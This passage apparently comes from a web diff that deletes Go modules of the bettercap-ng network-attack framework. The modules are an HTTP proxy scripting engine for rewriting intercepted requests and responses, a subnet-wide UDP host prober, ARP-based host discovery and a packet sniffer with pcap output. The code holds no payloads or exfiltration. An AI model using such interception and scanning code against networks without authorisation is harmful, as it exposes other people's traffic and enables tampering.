for _, header := range strings.Split(j.Headers, "\n") {
|
||||
header = strings.Trim(header, "\n\r\t ")
|
||||
if header == "" {
|
||||
continue
|
||||
}
|
||||
parts := strings.SplitN(header, ":", 2)
|
||||
if len(parts) == 2 {
|
||||
resp.Header.Add(parts[0], parts[1])
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (j *JSResponse) ReadBody() string {
|
||||
defer j.resp.Body.Close()
|
||||
|
||||
raw, err := ioutil.ReadAll(j.resp.Body)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
j.Body = string(raw)
|
||||
|
||||
return j.Body
|
||||
}
|
|
@ -1,192 +0,0 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"sync"
|
||||
|
||||
"github.com/evilsocket/bettercap-ng/session"
|
||||
|
||||
"github.com/robertkrimen/otto"
|
||||
)
|
||||
|
||||
type ProxyScript struct {
|
||||
Path string
|
||||
Source string
|
||||
VM *otto.Otto
|
||||
|
||||
sess *session.Session
|
||||
gil *sync.Mutex
|
||||
onRequestScript *otto.Script
|
||||
onResponseScript *otto.Script
|
||||
cbCacheLock *sync.Mutex
|
||||
cbCache map[string]bool
|
||||
}
|
||||
|
||||
func LoadProxyScript(path string, sess *session.Session) (err error, s *ProxyScript) {
|
||||
sess.Events.Log(session.INFO, "Loading proxy script %s ...", path)
|
||||
|
||||
raw, err := ioutil.ReadFile(path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
s = &ProxyScript{
|
||||
Path: path,
|
||||
Source: string(raw),
|
||||
VM: otto.New(),
|
||||
|
||||
sess: sess,
|
||||
gil: &sync.Mutex{},
|
||||
onRequestScript: nil,
|
||||
onResponseScript: nil,
|
||||
cbCacheLock: &sync.Mutex{},
|
||||
cbCache: make(map[string]bool),
|
||||
}
|
||||
|
||||
// this will define callbacks and global objects
|
||||
_, err = s.VM.Run(s.Source)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// define session pointer
|
||||
err = s.VM.Set("env", sess.Env.Storage)
|
||||
if err != nil {
|
||||
sess.Events.Log(session.ERROR, "Error while defining environment: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// run onLoad if defined
|
||||
if s.hasCallback("onLoad") {
|
||||
_, err = s.VM.Run("onLoad()")
|
||||
if err != nil {
|
||||
sess.Events.Log(session.ERROR, "Error while executing onLoad callback: %s", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// compile call to onRequest if defined
|
||||
if s.hasCallback("onRequest") {
|
||||
s.onRequestScript, err = s.VM.Compile("", "onRequest(req, res)")
|
||||
if err != nil {
|
||||
sess.Events.Log(session.ERROR, "Error while compiling onRequest callback: %s", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// compile call to onResponse if defined
|
||||
if s.hasCallback("onResponse") {
|
||||
s.onResponseScript, err = s.VM.Compile("", "onResponse(req, res)")
|
||||
if err != nil {
|
||||
sess.Events.Log(session.ERROR, "Error while compiling onResponse callback: %s", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (s *ProxyScript) hasCallback(name string) bool {
|
||||
s.cbCacheLock.Lock()
|
||||
defer s.cbCacheLock.Unlock()
|
||||
|
||||
// check the cache
|
||||
has, found := s.cbCache[name]
|
||||
if found == false {
|
||||
// check the VM
|
||||
cb, err := s.VM.Get(name)
|
||||
if err == nil && cb.IsFunction() {
|
||||
has = true
|
||||
} else {
|
||||
has = false
|
||||
}
|
||||
s.cbCache[name] = has
|
||||
}
|
||||
|
||||
return has
|
||||
}
|
||||
|
||||
func (s *ProxyScript) doRequestDefines(req *http.Request) (err error, jsres *JSResponse) {
|
||||
// convert request and define empty response to be optionally filled
|
||||
jsreq := NewJSRequest(req)
|
||||
if err = s.VM.Set("req", &jsreq); err != nil {
|
||||
s.sess.Events.Log(session.ERROR, "Error while defining request: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
jsres = &JSResponse{}
|
||||
if err = s.VM.Set("res", jsres); err != nil {
|
||||
s.sess.Events.Log(session.ERROR, "Error while defining response: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (s *ProxyScript) doResponseDefines(res *http.Response) (err error, jsres *JSResponse) {
|
||||
// convert both request and response
|
||||
jsreq := NewJSRequest(res.Request)
|
||||
if err = s.VM.Set("req", jsreq); err != nil {
|
||||
s.sess.Events.Log(session.ERROR, "Error while defining request: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
jsres = NewJSResponse(res)
|
||||
if err = s.VM.Set("res", jsres); err != nil {
|
||||
s.sess.Events.Log(session.ERROR, "Error while defining response: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (s *ProxyScript) OnRequest(req *http.Request) *JSResponse {
|
||||
if s.onRequestScript != nil {
|
||||
s.gil.Lock()
|
||||
defer s.gil.Unlock()
|
||||
|
||||
err, jsres := s.doRequestDefines(req)
|
||||
if err != nil {
|
||||
s.sess.Events.Log(session.ERROR, "Error while running bootstrap definitions: %s", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
_, err = s.VM.Run(s.onRequestScript)
|
||||
if err != nil {
|
||||
s.sess.Events.Log(session.ERROR, "Error while executing onRequest callback: %s", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
if jsres.wasUpdated == true {
|
||||
return jsres
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *ProxyScript) OnResponse(res *http.Response) *JSResponse {
|
||||
if s.onResponseScript != nil {
|
||||
s.gil.Lock()
|
||||
defer s.gil.Unlock()
|
||||
|
||||
err, jsres := s.doResponseDefines(res)
|
||||
if err != nil {
|
||||
s.sess.Events.Log(session.ERROR, "Error while running bootstrap definitions: %s", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
_, err = s.VM.Run(s.onResponseScript)
|
||||
if err != nil {
|
||||
s.sess.Events.Log(session.ERROR, "Error while executing onRequest callback: %s", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
if jsres.wasUpdated == true {
|
||||
return jsres
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
|
@ -1,139 +0,0 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"github.com/evilsocket/bettercap-ng/session"
|
||||
|
||||
"github.com/malfunkt/iprange"
|
||||
)
|
||||
|
||||
type Prober struct {
|
||||
session.SessionModule
|
||||
}
|
||||
|
||||
func NewProber(s *session.Session) *Prober {
|
||||
p := &Prober{
|
||||
SessionModule: session.NewSessionModule("net.probe", s),
|
||||
}
|
||||
|
||||
p.AddParam(session.NewIntParameter("net.probe.throttle",
|
||||
"10",
|
||||
"If greater than 0, probe packets will be throttled by this value in milliseconds."))
|
||||
|
||||
p.AddHandler(session.NewModuleHandler("net.probe on", "",
|
||||
"Start network hosts probing in background.",
|
||||
func(args []string) error {
|
||||
return p.Start()
|
||||
}))
|
||||
|
||||
p.AddHandler(session.NewModuleHandler("net.probe off", "",
|
||||
"Stop network hosts probing in background.",
|
||||
func(args []string) error {
|
||||
return p.Stop()
|
||||
}))
|
||||
|
||||
return p
|
||||
}
|
||||
|
||||
func (p Prober) Name() string {
|
||||
return "Network Prober"
|
||||
}
|
||||
|
||||
func (p Prober) Description() string {
|
||||
return "Keep probing for new hosts on the network by sending dummy UDP packets to every possible IP on the subnet."
|
||||
}
|
||||
|
||||
func (p Prober) Author() string {
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com>"
|
||||
}
|
||||
|
||||
func (p *Prober) shouldProbe(ip net.IP) bool {
|
||||
addr := ip.String()
|
||||
if ip.IsLoopback() == true {
|
||||
return false
|
||||
} else if addr == p.Session.Interface.IpAddress {
|
||||
return false
|
||||
} else if addr == p.Session.Gateway.IpAddress {
|
||||
return false
|
||||
} else if p.Session.Targets.Has(addr) == true {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (p Prober) OnSessionEnded(s *session.Session) {
|
||||
if p.Running() {
|
||||
p.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Prober) sendProbe(from net.IP, from_hw net.HardwareAddr, ip net.IP) {
|
||||
name := fmt.Sprintf("%s:137", ip)
|
||||
if addr, err := net.ResolveUDPAddr("udp", name); err != nil {
|
||||
p.Session.Events.Log(session.ERROR, "Could not resolve %s.", name)
|
||||
} else if con, err := net.DialUDP("udp", nil, addr); err != nil {
|
||||
p.Session.Events.Log(session.ERROR, "Could not dial %s.", name)
|
||||
} else {
|
||||
// p.Session.Events.Log(session.DEBUG,"UDP connection to %s enstablished.\n", name)
|
||||
defer con.Close()
|
||||
con.Write([]byte{0xde, 0xad, 0xbe, 0xef})
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Prober) Start() error {
|
||||
if p.Running() == false {
|
||||
throttle := int(0)
|
||||
if err, v := p.Param("net.probe.throttle").Get(p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
throttle = v.(int)
|
||||
p.Session.Events.Log(session.DEBUG, "Throttling packets of %d ms.", throttle)
|
||||
}
|
||||
|
||||
p.SetRunning(true)
|
||||
|
||||
go func() {
|
||||
list, err := iprange.Parse(p.Session.Interface.CIDR())
|
||||
if err != nil {
|
||||
p.Session.Events.Log(session.FATAL, "%s", err)
|
||||
}
|
||||
|
||||
from := p.Session.Interface.IP
|
||||
from_hw := p.Session.Interface.HW
|
||||
addresses := list.Expand()
|
||||
|
||||
for p.Running() {
|
||||
for _, ip := range addresses {
|
||||
if p.shouldProbe(ip) == false {
|
||||
p.Session.Events.Log(session.DEBUG, "Skipping address %s from UDP probing.", ip)
|
||||
continue
|
||||
}
|
||||
|
||||
p.sendProbe(from, from_hw, ip)
|
||||
|
||||
if throttle > 0 {
|
||||
time.Sleep(time.Duration(throttle) * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
time.Sleep(5 * time.Second)
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("Network prober already started.")
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Prober) Stop() error {
|
||||
if p.Running() == true {
|
||||
p.SetRunning(false)
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("Network prober already stopped.")
|
||||
}
|
||||
}
|
|
@ -1,160 +0,0 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/evilsocket/bettercap-ng/net"
|
||||
"github.com/evilsocket/bettercap-ng/session"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Discovery struct {
|
||||
session.SessionModule
|
||||
|
||||
refresh int
|
||||
before net.ArpTable
|
||||
current net.ArpTable
|
||||
quit chan bool
|
||||
}
|
||||
|
||||
func NewDiscovery(s *session.Session) *Discovery {
|
||||
d := &Discovery{
|
||||
SessionModule: session.NewSessionModule("net.recon", s),
|
||||
|
||||
refresh: 1,
|
||||
before: nil,
|
||||
current: nil,
|
||||
quit: make(chan bool),
|
||||
}
|
||||
|
||||
d.AddHandler(session.NewModuleHandler("net.recon on", "",
|
||||
"Start network hosts discovery.",
|
||||
func(args []string) error {
|
||||
return d.Start()
|
||||
}))
|
||||
|
||||
d.AddHandler(session.NewModuleHandler("net.recon off", "",
|
||||
"Stop network hosts discovery.",
|
||||
func(args []string) error {
|
||||
return d.Stop()
|
||||
}))
|
||||
|
||||
d.AddHandler(session.NewModuleHandler("net.show", "",
|
||||
"Show current hosts list.",
|
||||
func(args []string) error {
|
||||
return d.Show()
|
||||
}))
|
||||
|
||||
return d
|
||||
}
|
||||
|
||||
func (d Discovery) Name() string {
|
||||
return "Network Recon"
|
||||
}
|
||||
|
||||
func (d Discovery) Description() string {
|
||||
return "Read periodically the ARP cache in order to monitor for new hosts on the network."
|
||||
}
|
||||
|
||||
func (d Discovery) Author() string {
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com>"
|
||||
}
|
||||
|
||||
func (d Discovery) OnSessionEnded(s *session.Session) {
|
||||
if d.Running() {
|
||||
d.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
func (d *Discovery) checkShared(new net.ArpTable) {
|
||||
n_gw_shared := 0
|
||||
for ip, mac := range new {
|
||||
if ip != d.Session.Gateway.IpAddress && mac == d.Session.Gateway.HwAddress {
|
||||
n_gw_shared++
|
||||
}
|
||||
}
|
||||
|
||||
if n_gw_shared > 0 {
|
||||
a := ""
|
||||
b := ""
|
||||
if n_gw_shared == 1 {
|
||||
a = ""
|
||||
b = "s"
|
||||
} else {
|
||||
a = "s"
|
||||
b = ""
|
||||
}
|
||||
|
||||
d.Session.Events.Log(session.WARNING, "Found %d endpoint%s which share%s the same MAC of the gateway (%s), there're might be some IP isolation going on, skipping.", n_gw_shared, a, b, d.Session.Gateway.HwAddress)
|
||||
}
|
||||
}
|
||||
|
||||
func (d *Discovery) runDiff() {
|
||||
var new net.ArpTable = make(net.ArpTable)
|
||||
var rem net.ArpTable = make(net.ArpTable)
|
||||
|
||||
if d.before != nil {
|
||||
new = net.ArpDiff(d.current, d.before)
|
||||
rem = net.ArpDiff(d.before, d.current)
|
||||
} else {
|
||||
new = d.current
|
||||
}
|
||||
|
||||
if len(new) > 0 || len(rem) > 0 {
|
||||
d.checkShared(new)
|
||||
|
||||
// refresh target pool
|
||||
for ip, mac := range rem {
|
||||
d.Session.Targets.Remove(ip, mac)
|
||||
}
|
||||
|
||||
for ip, mac := range new {
|
||||
d.Session.Targets.AddIfNotExist(ip, mac)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (d *Discovery) Start() error {
|
||||
if d.Running() == false {
|
||||
d.SetRunning(true)
|
||||
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-time.After(time.Duration(d.refresh) * time.Second):
|
||||
var err error
|
||||
|
||||
if d.current, err = net.ArpUpdate(d.Session.Interface.Name()); err != nil {
|
||||
d.Session.Events.Log(session.ERROR, "%s", err)
|
||||
continue
|
||||
}
|
||||
|
||||
d.runDiff()
|
||||
|
||||
d.before = d.current
|
||||
|
||||
case <-d.quit:
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("Network discovery already started.")
|
||||
}
|
||||
}
|
||||
|
||||
func (d *Discovery) Show() error {
|
||||
d.Session.Targets.Dump()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Discovery) Stop() error {
|
||||
if d.Running() == true {
|
||||
d.SetRunning(false)
|
||||
d.quit <- true
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("Network discovery already stopped.")
|
||||
}
|
||||
}
|
|
@ -1,363 +0,0 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/evilsocket/bettercap-ng/core"
|
||||
"github.com/evilsocket/bettercap-ng/session"
|
||||
"github.com/google/gopacket"
|
||||
"github.com/google/gopacket/layers"
|
||||
"github.com/google/gopacket/pcap"
|
||||
"github.com/google/gopacket/pcapgo"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"time"
|
||||
)
|
||||
|
||||
type SnifferContext struct {
|
||||
Handle *pcap.Handle
|
||||
DumpLocal bool
|
||||
Verbose bool
|
||||
Filter string
|
||||
Expression string
|
||||
Compiled *regexp.Regexp
|
||||
Output string
|
||||
OutputFile *os.File
|
||||
OutputWriter *pcapgo.Writer
|
||||
}
|
||||
|
||||
func NewSnifferContext() *SnifferContext {
|
||||
return &SnifferContext{
|
||||
Handle: nil,
|
||||
DumpLocal: false,
|
||||
Verbose: true,
|
||||
Filter: "",
|
||||
Expression: "",
|
||||
Compiled: nil,
|
||||
Output: "",
|
||||
OutputFile: nil,
|
||||
OutputWriter: nil,
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
no = core.Red("no")
|
||||
yes = core.Green("yes")
|
||||
)
|
||||
|
||||
func (c *SnifferContext) Log(sess *session.Session) {
|
||||
if c.DumpLocal {
|
||||
sess.Events.Log(session.INFO, "Skip local packets : %s", no)
|
||||
} else {
|
||||
sess.Events.Log(session.INFO, "Skip local packets : %s", yes)
|
||||
}
|
||||
|
||||
if c.Verbose {
|
||||
sess.Events.Log(session.INFO, "Verbose : %s", yes)
|
||||
} else {
|
||||
sess.Events.Log(session.INFO, "Verbose : %s", no)
|
||||
}
|
||||
|
||||
if c.Filter != "" {
|
||||
sess.Events.Log(session.INFO, "BPF Filter : '%s'", core.Yellow(c.Filter))
|
||||
}
|
||||
|
||||
if c.Expression != "" {
|
||||
sess.Events.Log(session.INFO, "Regular expression : '%s'", core.Yellow(c.Expression))
|
||||
}
|
||||
|
||||
if c.Output != "" {
|
||||
sess.Events.Log(session.INFO, "File output : '%s'", core.Yellow(c.Output))
|
||||
}
|
||||
}
|
||||
|
||||
func (c *SnifferContext) Close() {
|
||||
if c.Handle != nil {
|
||||
c.Handle.Close()
|
||||
c.Handle = nil
|
||||
}
|
||||
|
||||
if c.OutputFile != nil {
|
||||
c.OutputFile.Close()
|
||||
c.OutputFile = nil
|
||||
}
|
||||
}
|
||||
|
||||
type SnifferStats struct {
|
||||
NumLocal uint64
|
||||
NumMatched uint64
|
||||
NumDumped uint64
|
||||
NumWrote uint64
|
||||
Started time.Time
|
||||
FirstPacket time.Time
|
||||
LastPacket time.Time
|
||||
}
|
||||
|
||||
func NewSnifferStats() *SnifferStats {
|
||||
return &SnifferStats{
|
||||
NumLocal: 0,
|
||||
NumMatched: 0,
|
||||
NumDumped: 0,
|
||||
NumWrote: 0,
|
||||
Started: time.Now(),
|
||||
FirstPacket: time.Time{},
|
||||
LastPacket: time.Time{},
|
||||
}
|
||||
}
|
||||
|
||||
type Sniffer struct {
|
||||
session.SessionModule
|
||||
Stats *SnifferStats
|
||||
Ctx *SnifferContext
|
||||
}
|
||||
|
||||
func NewSniffer(s *session.Session) *Sniffer {
|
||||
sniff := &Sniffer{
|
||||
SessionModule: session.NewSessionModule("net.sniffer", s),
|
||||
Stats: nil,
|
||||
}
|
||||
|
||||
sniff.AddParam(session.NewBoolParameter("net.sniffer.verbose",
|
||||
"true",
|
||||
"Print captured packets to screen."))
|
||||
|
||||
sniff.AddParam(session.NewBoolParameter("net.sniffer.local",
|
||||
"false",
|
||||
"If true it will consider packets from/to this computer, otherwise it will skip them."))
|
||||
|
||||
sniff.AddParam(session.NewStringParameter("net.sniffer.filter",
|
||||
"not arp",
|
||||
"",
|
||||
"BPF filter for the sniffer."))
|
||||
|
||||
sniff.AddParam(session.NewStringParameter("net.sniffer.regexp",
|
||||
"",
|
||||
"",
|
||||
"If filled, only packets matching this regular expression will be considered."))
|
||||
|
||||
sniff.AddParam(session.NewStringParameter("net.sniffer.output",
|
||||
"",
|
||||
"",
|
||||
"If set, the sniffer will write captured packets to this file."))
|
||||
|
||||
sniff.AddHandler(session.NewModuleHandler("net.sniffer stats", "",
|
||||
"Print sniffer session configuration and statistics.",
|
||||
func(args []string) error {
|
||||
return sniff.PrintStats()
|
||||
}))
|
||||
|
||||
sniff.AddHandler(session.NewModuleHandler("net.sniffer on", "",
|
||||
"Start network sniffer in background.",
|
||||
func(args []string) error {
|
||||
return sniff.Start()
|
||||
}))
|
||||
|
||||
sniff.AddHandler(session.NewModuleHandler("net.sniffer off", "",
|
||||
"Stop network sniffer in background.",
|
||||
func(args []string) error {
|
||||
return sniff.Stop()
|
||||
}))
|
||||
|
||||
return sniff
|
||||
}
|
||||
|
||||
func (s Sniffer) Name() string {
|
||||
return "Network Sniffer"
|
||||
}
|
||||
|
||||
func (s Sniffer) Description() string {
|
||||
return "Sniff packets from the network."
|
||||
}
|
||||
|
||||
func (s Sniffer) Author() string {
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com>"
|
||||
}
|
||||
|
||||
func (sn Sniffer) OnSessionEnded(s *session.Session) {
|
||||
if sn.Running() {
|
||||
sn.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
func same(a, b net.HardwareAddr) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
|
||||
for idx, v := range a {
|
||||
if b[idx] != v {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func (s Sniffer) isLocalPacket(packet gopacket.Packet) bool {
|
||||
local_hw := s.Session.Interface.HW
|
||||
eth := packet.Layer(layers.LayerTypeEthernet)
|
||||
if eth != nil {
|
||||
eth_packet, _ := eth.(*layers.Ethernet)
|
||||
if same(eth_packet.SrcMAC, local_hw) || same(eth_packet.DstMAC, local_hw) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (s *Sniffer) GetContext() (error, *SnifferContext) {
|
||||
var err error
|
||||
|
||||
ctx := NewSnifferContext()
|
||||
|
||||
if ctx.Handle, err = pcap.OpenLive(s.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
|
||||
return err, ctx
|
||||
}
|
||||
|
||||
if err, v := s.Param("net.sniffer.verbose").Get(s.Session); err != nil {
|
||||
return err, ctx
|
||||
} else {
|
||||
ctx.Verbose = v.(bool)
|
||||
}
|
||||
|
||||
if err, v := s.Param("net.sniffer.local").Get(s.Session); err != nil {
|
||||
return err, ctx
|
||||
} else {
|
||||
ctx.DumpLocal = v.(bool)
|
||||
}
|
||||
|
||||
if err, v := s.Param("net.sniffer.filter").Get(s.Session); err != nil {
|
||||
return err, ctx
|
||||
} else {
|
||||
if ctx.Filter = v.(string); ctx.Filter != "" {
|
||||
err = ctx.Handle.SetBPFFilter(ctx.Filter)
|
||||
if err != nil {
|
||||
return err, ctx
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if err, v := s.Param("net.sniffer.regexp").Get(s.Session); err != nil {
|
||||
return err, ctx
|
||||
} else {
|
||||
if ctx.Expression = v.(string); ctx.Expression != "" {
|
||||
if ctx.Compiled, err = regexp.Compile(ctx.Expression); err != nil {
|
||||
return err, ctx
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if err, v := s.Param("net.sniffer.output").Get(s.Session); err != nil {
|
||||
return err, ctx
|
||||
} else {
|
||||
if ctx.Output = v.(string); ctx.Output != "" {
|
||||
if ctx.OutputFile, err = os.Create(ctx.Output); err != nil {
|
||||
return err, ctx
|
||||
}
|
||||
|
||||
ctx.OutputWriter = pcapgo.NewWriter(ctx.OutputFile)
|
||||
ctx.OutputWriter.WriteFileHeader(65536, layers.LinkTypeEthernet)
|
||||
}
|
||||
}
|
||||
|
||||
return nil, ctx
|
||||
}
|
||||
|
||||
func (s *Sniffer) PrintStats() error {
|
||||
if s.Stats == nil {
|
||||
return fmt.Errorf("No stats yet.")
|
||||
}
|
||||
|
||||
s.Ctx.Log(s.Session)
|
||||
|
||||
first := "never"
|
||||
last := "never"
|
||||
|
||||
if s.Stats.FirstPacket.IsZero() == false {
|
||||
first = s.Stats.FirstPacket.String()
|
||||
}
|
||||
|
||||
if s.Stats.LastPacket.IsZero() == false {
|
||||
last = s.Stats.LastPacket.String()
|
||||
}
|
||||
|
||||
s.Session.Events.Log(session.INFO, "Sniffer Started : %s", s.Stats.Started)
|
||||
s.Session.Events.Log(session.INFO, "First Packet Seen : %s", first)
|
||||
s.Session.Events.Log(session.INFO, "Last Packet Seen : %s", last)
|
||||
s.Session.Events.Log(session.INFO, "Local Packets : %d", s.Stats.NumLocal)
|
||||
s.Session.Events.Log(session.INFO, "Matched Packets : %d", s.Stats.NumMatched)
|
||||
s.Session.Events.Log(session.INFO, "Dumped Packets : %d", s.Stats.NumDumped)
|
||||
s.Session.Events.Log(session.INFO, "Wrote Packets : %d", s.Stats.NumWrote)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *Sniffer) Start() error {
|
||||
if s.Running() == false {
|
||||
var err error
|
||||
|
||||
if err, s.Ctx = s.GetContext(); err != nil {
|
||||
if s.Ctx != nil {
|
||||
s.Ctx.Close()
|
||||
s.Ctx = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
s.Stats = NewSnifferStats()
|
||||
s.SetRunning(true)
|
||||
|
||||
go func() {
|
||||
defer s.Ctx.Close()
|
||||
|
||||
src := gopacket.NewPacketSource(s.Ctx.Handle, s.Ctx.Handle.LinkType())
|
||||
for packet := range src.Packets() {
|
||||
if s.Running() == false {
|
||||
break
|
||||
}
|
||||
|
||||
now := time.Now()
|
||||
if s.Stats.FirstPacket.IsZero() {
|
||||
s.Stats.FirstPacket = now
|
||||
}
|
||||
s.Stats.LastPacket = now
|
||||
|
||||
is_local := false
|
||||
if s.isLocalPacket(packet) {
|
||||
is_local = true
|
||||
s.Stats.NumLocal++
|
||||
}
|
||||
|
||||
if s.Ctx.DumpLocal == true || is_local == false {
|
||||
data := packet.Data()
|
||||
if s.Ctx.Compiled == nil || s.Ctx.Compiled.Match(data) == true {
|
||||
s.Stats.NumMatched++
|
||||
|
||||
if s.Ctx.Verbose {
|
||||
fmt.Println(packet.Dump())
|
||||
s.Stats.NumDumped++
|
||||
}
|
||||
|
||||
if s.Ctx.OutputWriter != nil {
|
||||
s.Ctx.OutputWriter.WritePacket(packet.Metadata().CaptureInfo, data)
|
||||
s.Stats.NumWrote++
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("Network sniffer already started.")
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Sniffer) Stop() error {
|
||||
if s.Running() == true {
|
||||
s.SetRunning(false)
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("Network sniffer already stopped.")
|
||||
}
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue